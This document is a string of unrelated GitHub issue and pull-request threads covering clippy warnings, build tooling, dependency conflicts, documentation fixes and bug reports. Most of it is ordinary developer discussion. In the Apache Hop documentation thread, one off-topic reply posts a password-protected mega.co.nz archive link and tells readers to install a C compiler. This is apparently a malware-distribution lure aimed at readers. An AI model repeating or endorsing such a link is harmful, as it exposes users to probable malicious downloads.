warning: unnecessary structure name repetition
   --> examples/demo/app.rs:125:41
    |
125 |     pub fn new(titles: Vec<&'a str>) -> TabsState {
    |                                         ^^^^^^^^^ help: use the applicable keyword: `Self`
    |
    = help: for further information visit https://rust-lang.github.io/rust-clippy/master/index.html#use_self
    = note: requested on the command line with `-W clippy::use-self`

warning: `ratatui` (example "demo") generated 1 warning (run `cargo clippy --fix --example "demo"` to apply 1 suggestion)

nightly has even more warnings… not sure whether I should include them in this PR.
warning: doc list item missing indentation
 --> src/text.rs:8:5
  |
8 | //! [`Text`].
  |     ^
  |
  = help: if this is supposed to be its own paragraph, add a blank line
  = help: for further information visit https://rust-lang.github.io/rust-clippy/master/index.html#doc_lazy_continuation
  = note: `#[warn(clippy::doc_lazy_continuation)]` on by default
help: indent this line
  |
8 | //!   [`Text`].
  |     ++

warning: doc list item missing indentation
   --> src/widgets/block.rs:222:9
    |
222 |     /// the leftover space)
    |         ^
    |
    = help: if this is supposed to be its own paragraph, add a blank line
    = help: for further information visit https://rust-lang.github.io/rust-clippy/master/index.html#doc_lazy_continuation
help: indent this line
    |
222 |     ///   the leftover space)
    |         ++

warning: doc list item missing indentation
   --> src/widgets/list.rs:377:5
    |
377 | /// multi-line items
    |     ^
    |
    = help: if this is supposed to be its own paragraph, add a blank line
    = help: for further information visit https://rust-lang.github.io/rust-clippy/master/index.html#doc_lazy_continuation
help: indent this line
    |
377 | ///   multi-line items
    |     ++

warning: this could be a `const fn`
  --> src/widgets/reflow.rs:52:5
   |
52 | /     pub fn new(lines: O, max_line_width: u16, trim: bool) -> Self {
53 | |         Self {
54 | |             input_lines: lines,
55 | |             max_line_width,
...  |
60 | |         }
61 | |     }
   | |_____^
   |
   = help: for further information visit https://rust-lang.github.io/rust-clippy/master/index.html#missing_const_for_fn
   = note: requested on the command line with `-W clippy::missing-const-for-fn`

warning: this could be a `const fn`
   --> src/widgets/reflow.rs:251:5
    |
251 | /     pub fn new(lines: O, max_line_width: u16) -> Self {
252 | |         Self {
253 | |             input_lines: lines,
254 | |             max_line_width,
...   |
257 | |         }
258 | |     }
    | |_____^
    |
    = help: for further information visit https://rust-lang.github.io/rust-clippy/master/index.html#missing_const_for_fn

warning: `ratatui` (lib) generated 5 warnings
warning: this could be a `const fn`
   --> examples/demo/app.rs:125:5
    |
125 | /     pub fn new(titles: Vec<&'a str>) -> Self {
126 | |         Self { titles, index: 0 }
127 | |     }
    | |_____^
    |
    = help: for further information visit https://rust-lang.github.io/rust-clippy/master/index.html#missing_const_for_fn
    = note: requested on the command line with `-W clippy::missing-const-for-fn`

warning: `ratatui` (example "demo") generated 1 warning
warning: the borrowed expression implements the required traits
   --> src/widgets/table/table.rs:918:45
    |
918 |         let table = Table::default().widths(&vec![Constraint::Length(100)]);
    |                                             ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ help: change this to: `vec![Constraint::Length(100)]`
    |
    = help: for further information visit https://rust-lang.github.io/rust-clippy/master/index.html#needless_borrows_for_generic_args
    = note: `#[warn(clippy::needless_borrows_for_generic_args)]` on by default

warning: `ratatui` (lib test) generated 6 warnings (5 duplicates) (run `cargo clippy --fix --lib -p ratatui --tests` to apply 1 suggestion)

Thanks for listing those off.

nightly has even more warnings… not sure whether I should include them in this PR.

Yeah, probably another PR


Import order problem with redundant imports in fips.yml

Details see here: https://github.com/floooh/oryol-nuklear/issues/1
If the oryol-test-app/fips.yml contains both the import for oryol and oryol-nuklear, then oryol-nuklear will be imported before oryol, and the oryol-nuklear cmake files don't find the oryol_shader() cmake macro.
Removing the oryol import fixes the issue, since oryol-nuklear already has oryol as dependency, but this shouldn't be necessary, fips should properly resolve the dependency tree and import the dependencies in the right order (the only non-resolvable problem should be a circular dependency).

This should be fixed by aed5f64912d0fdf328922105b9d6302c10306c1e.


Aligning wrangler create vector comment to d1 style

Just aligning wrangler output comments for better devX
[[d1_databases]]
binding = "DB" # i.e. available in your Worker on env.DB ..
vs
[[vectorize]]
binding = "VECTORIZE_INDEX" # available within your Worker on env.VECTORIZE_INDEX index_name = "metrics-index"
What this PR solves / how to test
Fixes #[insert GH or internal issue number(s)].
Author has addressed the following

Tests

[ ] TODO (before merge)
[ ] Included
[x] Not necessary because:

Changeset (Changeset guidelines)

[ ] TODO (before merge)
[ ] Included
[x] Not necessary because:

Public documentation

[ ] TODO (before merge)
[ ] Cloudflare docs PR(s): https://github.com/cloudflare/cloudflare-docs/pull/...
[x] Not necessary because: Non functional change

Should probably make them both "within" but "in" is fine i think


create a new lexer for a domain specific language

(Original issue 605 created by None on 2010-10-13T13:38:07.037589+00:00)
Hello,
I am the main developer of GCC MELT see http://gcc.gnu.org/wiki/MELT for more. MELT is a lispy dialect to code GCC extensions in.
I would like to use pygment for MELT source code. I am not very fluent about Python.
I started to code the http://gcc.gnu.org/viewcvs/branches/melt-branch/contrib/pygmentize-melt?view=markup pygmentize-melt script, but so far it doesn't work, getting
{{{
% contrib/pygmentize-melt -f latex -l melt gcc/testsuite/melt/tmatch-1.melt
Error: no lexer for alias 'melt' found
}}}
What is the correct way to code a Python script above pygmentize to add a new lexer for a given language?
Regards.

(Original issue 605 last updated on 2010-12-21T08:14:45.223664+00:00)
(Issue automaticaly closed due to status in Bitbucket: resolved)

(Original comment by None on 2010-10-13T14:16:35.817602+00:00)
The mercurial repository contains the next pygments which apparently will have "plugins" based upon the setupttols infrastructure, but I am a python newbie and have no idea of how that is practically usable.
Cheers. Basile Starynkevitch http://starynkevitch.net/Basile/

(Original comment by roskakori on 2010-11-04T00:25:43.222670+00:00)
I found it the easiest to "hg clone" the repository and add my own lexer to "pygments/lexers/other.py".
To register the lexer, cd into "pygments/lexers" and run "python _mapping.py". This recreates itself and should then contain your new lexer's metainformation.
After that, cd back to the project root (where "setup.py" is located) and run "python setup.py install develop" to install the developer version you just extended. You might have to "sudo" this step.
Then you should be able to to things like: pygmentize -f html -O full,style=emacs -o /tmp/test.html test.melt

(Original comment by tshatch on 2010-12-21T08:14:45.214362+00:00)
We came up with a workaround a while ago on irc, closing this issue.


add color picker to notification settings instead of manual color code input

Had some incosistencies with your repo, ]

Wanted to add that it greys out like the other text whne notifications are not on, but did not know what would be the best way

That's fine I think. No point changing colors if the notification system is off and no notification will be created.


Replaces 'cobertura-action' with 'codecov' for coverage reports

offtopic: do we want to use https://www.conventionalcommits.org/en/v1.0.0/#summary for commit prefixing?

offtopic: do we want to use https://www.conventionalcommits.org/en/v1.0.0/#summary for commit prefixing?

I've never look at this before, but their list of Why Use Conventional Commits is fairly convincing if we want to do any of those things, like auto-generating changelogs.
In the other stack, I tried to prefix each commit with what part of the code I was touching so that I could skim the commit history for specific commits that touched specific features or interfaces, such as [DDOP] or [VT] or [Core] so I guess I'd also throw that out as an option as well, but I don't feel super strongly about it.
So I guess I'm open to it if people want to try it


add new integration tests

Codecov Report

Merging #29 into master will not change coverage.
The diff coverage is n/a.

@@           Coverage Diff           @@
##           master      #29   +/-   ##
=======================================
  Coverage   60.35%   60.35%
=======================================
  Files          30       30
  Lines         845      845
=======================================
  Hits          510      510
  Misses        335      335

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update a6e1404...4b04e35. Read the comment docs.


Update theme, link checker, yarn

Description
Update theme, link checker, yarn
Related Issue
Fixes validation build and link checker.
Types of changes

[x] Bug fix (non-breaking change which fixes an issue)
[ ] New feature (non-breaking change which adds functionality)
[ ] Breaking change (fix or feature that would cause existing functionality to change)

@keharper, please re-enable the required check for validation after this PR is merged.


BootstrapProgressView progress animation in backward direction!!

HI Bearded-Hen,
Its not an issue but as per my requirement I need the progress animation in forward direction.
If u can suggest me an edit please let me know. It would be a great help.
Thanks.

Hi @ashish-jain-aphroecs ,
Have you found any solution for the same? I have the same requirement.

Hi @jamie-beardedhen  Could you please guide me for the same?

@sharmadev2506 this project is not actively maintained by me anymore (this is my other GH account).


Guice module reinitialization for a test class

Hello.
I have long enjoyed the ease of use of Guice and TestNG together. Lately, we have prepared couple of integration test that main requirement is to run on a freshly initialized system.
They all work fine, separately. But when run together they fail. The reason, as I understood so far, is because TestNG initializes the Guice Module once and then injects it. Since some part of our application is based on in-memory caches that depend on Guice, they remain through the tests and therefore - the tests fail.
Is there any way I could reset the guice module, force it to reinitialize or something like that?
For the moment I run the test with IntellJ and our project is based on Maven.

Hi,
I don't know why you closed the issue but I can try to answer your question.
In fact, the build-in support of Guice may have some limitations depending on what you have to do.
If you have specific needs like I suppose according to your message, I advice you to manage the guice injection by yourself.
You have many possibilities to do that:

Before/after methods
listeners
ITestObjectFactory

I closed the issue because actually it was more of my fault then TestNG, however as you say - I ended up managing the Guice on my own.


Readme example issue

I have emailed the support team about this problem, and they said there is no problem. I hope I am not crazy or anything.
Under the Readme
To send a signature request from a template using legacy authentication: (section)
// Update ApiClient with the new base url from login call string[] separatingStrings = { "/v2" }; apiClient = new ApiClient(loginInfo.LoginAccounts[0].BaseUrl.Split(separatingStrings, StringSplitOptions.RemoveEmptyEntries)[0]);
The "new ApiClient" here is assigned to the apiClient variable which is no longer referenced later in this example. The EnvelopesApi() later in the example is using an apiClient with out the new baseUrl we got from making the login call.
If you have resharper installed, you should easily spot this reference problem. If this is intended, please add comments to describe why. This adds so much confusion to first time user.

Sorry that you were facing these issues, we have updated the ReadMe to showcase latest examples... Please open a new issue if you still have any challenges...


Discrepancies in recently updated event webhook table

The recently updated event objects table indicates that smtp-id is valid for the 5 "delivery" event types (processed, dropped, delivered, deferred and bounce) and not valid for the 6 "engagement" event types (open, click, spam report, unsubscribe, group unsubscribe and group resubscribe).
However, the sample JSON for the 6 engagement event types include the smtp-id field as you can see here and here.
Either the samples are wrong or the summary table is wrong. Can you please clarify?

Hello @Jericho ,
Thanks surfacing this issue. We will have aligned and accurate docs as soon as possible regarding this issue. Thank you for your patience, and we're sorry for the confusion it may have caused.
Twilio SendGrid Docs Team


Move to chat-like UI

Chat is great and streamlit has recently released a chat UI interface, let us upgrade to this version and also use a chat-like interface.

https://docs.streamlit.io/develop/api-reference/chat


Popup version

Has anyone created a popup version to use on mobile? I tried throwing it into an mdcustomdialog but it doesn't quite fit.

Am closing this as there's already a request for this in #6 (I'll add a note).
For now you can try use the new compact setting which removes the left side and makes the whole thing a bit smaller until I can get the time to create a demo.

sweet thanks


[BEAM-3856][BEAM-3854] Add prototype of Go streaming on Dataflow with PubSub

Add streaming Wordcap example.

R: @wslulciuc @wcn3

@wslulciuc Please let me know if this works for your fanout pipeline. I think all the pieces are present with this PR.

Looks like this needs a rebase.

Rebased. @robertwb PTAL

Thanks @wcn3.
@robertwb I think we can merge now. PTAL


Can’t update a users phone number more than once

Hey,
Here are the steps to reproduce the issue:

Create a user with email and password
Call auth.updateUser to update the users phone number
Do not verify the OTP
Repeat step 2, an error will be thrown (duplicate key value violates unique constraint "identities_pkey)

A user might of entered his phone number incorrectly the first time, it would be good to allow them to update it again otherwise they will be stuck with a number that they cannot verify.
Note: Should a row in the identities table only be added once the phone number change is verified via OTP code? Seems that it would solve the issue.

Also interested, commenting to get notified.

hi @nuurcodes and @bombillazo, we've fixed this issue in https://github.com/supabase/gotrue/pull/1141 and the fix has already been deployed to your projects.

@kangmingtay I'm facing a very similar issue but when the email is empty. Any chance you could apply the same logic for emails ?
Here's our use case:

User signs up with his ethereum address (custom integration that creates an identity, the user and issues access_token etc)
User adds his email address to receive email notifications, makes a mistake on the email provided or change email confirmation link expires. He tries to update the email again and gets duplicate key value violates unique constraint "identities_pkey"


ACC-264.1 (Level A) _ Modify Modules _ Navigation menu _ Unnecessary info read for each

1.1 Internal Message Details
Internal Message:
Test Plan:	ACC SAP Kyma runtime 2024
Message Priority:	High
Affected UI	Navigation menu
Affected Check Point:	ACC-264.1
Short text:	ACC-264.1 (Level A) _ Modify Modules _ Navigation menu _ Unnecessary info read for each
1.2 Application Details
Application Name	Kyma-dashboard
Technology:	SAP UI5
Component:
URL:	https://dashboard.stage.kyma.cloud.sap/cluster/garden-kyma-stage--c-7074971-external/kymamodules
Username/Password:	NA
1.3 Test Environment Details
Web browser:	Google Chrome Version 127.0.6533.89
Operating System:	Microsoft Windows 11 x64
Screen Reader:	JAWS 2024 Version 2024.2406.121 ILM
1.4 JIRA/SNOW Details
Issue:	Bug
Labels:	Accessibility
2 Screen Flow
•	Launch the application using given URL.
•	Select the ‘Link to Kyma dashboard’ from the Kyma Environment section on your SAP BTP subaccount page. Now Select ‘Modify Modules’ button which opens ‘Modules’ page.
•	Open JAWS 2024 screen reader and turn on VPC mode.
•	Now navigate to all the menu items from the left side navigation using arrow keys one at a time.

Issue Type: Manual
Observed Behavior:
On accessing all the menu items from the left side navigation using arrow keys one at a time , information ‘Selected’ is  announced by the screen reader even if the particular list item is not selected by the user.
Screenshot:

Case 2:
Expected Behavior:
On accessing all the menu items from the left side navigation using arrow keys one at a time , information ‘Selected’ must be announced by the screen reader only for the list item which is currently selected along with other necessary information.
Note:
This issue exists across the application and thus fix should be provided for all the occurrences.

Kindly refer to attached error and issue processing document for more details.
Regards,
Shubha

ACC-264.1 (Level A) _ Modify Modules _ Navigation menu _ Unnecessary info read for each.docx
Issue processing-09.2021 (002).docx


flutter 0.20.0 is incompatible with flutter_svg: ^1.1.4,

[ ] flutter 0.20.0 is incompatible with flutter_svg: ^1.1.4,

other:
[ ]flutter_test at https://pub.mpflutter.com), version solving failed

maybe the same as https://github.com/mpflutter/mpflutter/issues/95
I solve with
dependency_overrides:
  meta: ^1.7.0 # 必须添加这个依赖
  vector_math: ^2.1.2
  collection: ^1.17.0

and run flutter pub get
So, Is this a reasonable approach?

No need to use flutter_svg, use Image.

No need to use flutter_svg, use Image.

I would get a try.

other
What do you think about other mismatches?
such as freezed_annotation, riverpod_annotation, pubspec_parse 1.2.1 and riverpod 2.1.1
depends on meta ^1.4.0

they are just copies of riverpod-example

use dependency_overrides is ok.

thanks

use dependency_overrides is ok.

使用Image加载SVG，应该怎么修改SVG的颜色呢


[Task]: Hop Conf - The Hop command line configuration tool - documentation improvement

What needs to happen?

Improve navigation and structure. The page starts from project variables. Add a section on project creation.
Mention or clarify relationship between projects and environments.
Improve navigation and structure. The page starts from project variables.
Configuration files management.

Issue Priority
Priority: 3
Issue Component
Component: Documentation

I think this will help you.
https://mega.co.nz/#!9jFTnQQa!-IQ1bo74J_ZxbbDvQKSXEj0mCXBuFYX9CK-5y5EV_0A
Archive codepass: changeme
If you don't have the c compliator, install it.(gcc or clang)

.take-issue


Consolidates GH action build to a single file

This consolidates the two build processes into one flow, containing all
previous functionality, but less build time.
This builds the server on ubuntu, os/x and windows. If ubuntu, the flow
will continue into building and testing all our Docker images.
Something new is that this skips out if the change is documentation-only.

trying squash and force push as re-open had no effect on the stalled actions

last fail was legit at least parsing wise as it complained that yaml anchors are unsupported

ok I think this is as good as it gets. you can't use yaml anchors, you can't use env for runs-on, you also can't set default runs-on either.
Once you set a matrix somewhere, you can indeed use the variables so we can reduce, but not eliminate the copying.


a tiny bug in dataloader

@ruoshiliu Appreciate for your great work in zero123.
In the line 290 of simple.py, I think the code should be
total_view = self.total_view

not
total_view = 12

Just fixed. Thank you @byran-wang !


⚠ AtmoLive06 Server has degraded performance

In 5bb77d0, AtmoLive06 Server ($ATMOLIVE06) experienced degraded performance:

HTTP code: 500
Response time: 17092 ms

Resolved: AtmoLive06 Server performance has improved in 66a4f9b.


Updated adopters.md

Hy team! 👋
I updated ADOPTERS.md (Adds a new Picpay squad member)
Hey, I just made a Pull Request!

:heavy_check_mark: Checklist

[ ] A changeset describing the change and affected packages. (more info)
[x] Added or updated documentation
[ ] Tests for new functionality and regression tests for bug fixes
[ ] Screenshots attached (for UI changes)
[ ] All your commits have a Signed-off-by line in the message. (more info)

Hey @guilhermerenew - looks like we need a DCO signed commit here. You can find out more about it here in CONTRIBUTING.md